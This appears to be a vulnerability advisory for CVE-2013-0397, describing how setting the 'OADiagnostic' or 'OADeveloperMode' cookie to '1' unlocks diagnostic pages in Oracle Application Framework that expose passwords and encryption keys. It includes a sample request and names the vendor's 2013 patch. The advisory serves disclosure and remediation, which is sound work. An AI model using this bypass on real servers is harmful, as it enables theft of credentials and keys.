Finding 1: Oracle Application Framework Diagnostic Mode Bypass

Vulnerability

CVE: CVE-2013-0397



The Oracle Application Framework supports a diagnostic and developer mode

feature that are intended to be enabled from developer or administrative

interfaces. However, any user can manually enable the modes by setting the

"OADiagnostic" or "OADeveloperMode" cookies to "1".



Example:

GET request for enabling diagnostic mode



GET /OA_HTML/RF.jsp?function_id=1038712&resp_id=23350&resp_appl_id=80

Enabling diagnostic mode causes the server to present a "Diagnostics" link

at the top and bottom of every page, and an "About this page" link at the

bottom. This can be performed on pages that do not require authentication.



For example, clicking on the "Diagnostics" link allows the user to enable a

number of tracing and logging functions. Clicking on "About this page"

presents environment and session information. The "profiles" tab in the

"About this page" section allows access to a number of sensitive settings,

including passwords and encryption/decryption keys.



Remediation Steps:

The vendor has addressed this security issue in the January 2013 Critical

Patch Update.
